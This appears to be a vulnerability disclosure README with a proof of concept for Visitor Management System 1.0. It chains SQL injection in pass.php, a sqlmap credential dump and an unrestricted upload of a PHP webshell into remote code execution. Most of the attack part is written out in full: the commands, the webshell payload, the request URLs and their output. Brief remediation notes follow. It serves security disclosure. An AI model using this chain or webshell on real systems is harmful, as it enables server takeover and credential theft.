xmyronn/cve-2026-10170-rceProof-of-concept demonstrating SQL injection and unrestricted file upload chained to achieve remote code execution in Visitor Management System 1.0, including step-by-step exploitation and remediation guidance.
| Field | Details |
|---|
| Product | Visitor Management System |
| Vendor | code-projects.org |
| Version | 1.0 |
| Vulnerability Classes | SQL Injection (CWE-89) + Unrestricted File Upload (CWE-434) |
| CVE ID | Pending |
| CVSS Score | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentication Required | Low privilege (guard account) as entry point |
| Affected Files | /vms/php/pass.php, /vms/php/admin_user_0.php |
| Vulnerable Parameter | phone (POST) |
The Visitor Management System 1.0 by code-projects.org is vulnerable to a critical attack chain combining SQL Injection and Unrestricted File Upload leading to Remote Code Execution.
An attacker with low-privilege access (guard account) can exploit a SQL injection vulnerability in pass.php via the phone POST parameter to dump the entire database — including plaintext admin credentials. Using the extracted credentials to authenticate as admin, the attacker can then upload a PHP webshell through the Admin User management panel (admin_user_0.php), which performs no file type or extension validation. The uploaded webshell is stored in a web-accessible directory and can be executed directly via URL, resulting in full Remote Code Execution on the server.
Additionally, passwords are stored in plaintext in the database, meaning no cracking step is required after the SQLi dump.
Low-priv guard login
↓
SQL Injection in pass.php (phone parameter)
↓
sqlmap dump → plaintext admin credentials extracted
↓
Login as admin (sanjay1:7861)
↓
Unrestricted file upload in admin_user_0.php
↓
PHP webshell uploaded to /vms/php/folder/
↓
RCE via ?cmd=whoami → full server compromise
Navigate to the VMS application and login with guard credentials. After login, navigate to the Phone Number page:
http://<TARGET>/vms/php/phone_0.php
Submit a single quote ' as the phone number value. The application throws a fatal MariaDB error exposing the raw query and file path:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
Affected file: pass.php line 9
Vulnerable parameter: phone (POST)
sql error
Save the Burp Suite captured request to a file (sqli.txt) and run sqlmap:
sqlmap -r sqli.txt --dump --batch
sqlmap successfully dumps the login_user table from the vms database, revealing plaintext credentials for all users:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
Note: Passwords are stored in plaintext — no hash cracking required.
Using the extracted admin credentials, login to the admin panel:
Username: sanjay1
Password: 7861
The full admin dashboard is now accessible including Employee, Department, Admin User, and Report management.
Navigate to the Admin User management page:
http://<TARGET>/vms/php/admin_user_0.php
The page contains a file upload field for a profile image. The application performs no file type validation, no extension filtering, and no MIME type checking.
Fill in the form with any values and upload the following PHP webshell as the image file (web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>
Navigate to the Admin User display page:
http://<TARGET>/vms/php/admin_display_0.php
The newly created admin account is visible in the table. The uploaded webshell is stored at:
http://<TARGET>/vms/php/folder/web2_command.php
Execute arbitrary system commands via the webshell:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
Result: The server returns the current system user confirming full Remote Code Execution:
desktop-g1i9np3\dell
| File | Vulnerability |
|---|---|
/vms/php/pass.php | SQL Injection via phone POST parameter |
/vms/php/admin_user_0.php | Unrestricted File Upload — no extension or MIME validation |
/vms/php/folder/ | Webshell storage directory — web accessible, no restrictions |
For SQL Injection:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
For File Upload:
For Password Storage:
password_hash() and password_verify() — never store plaintext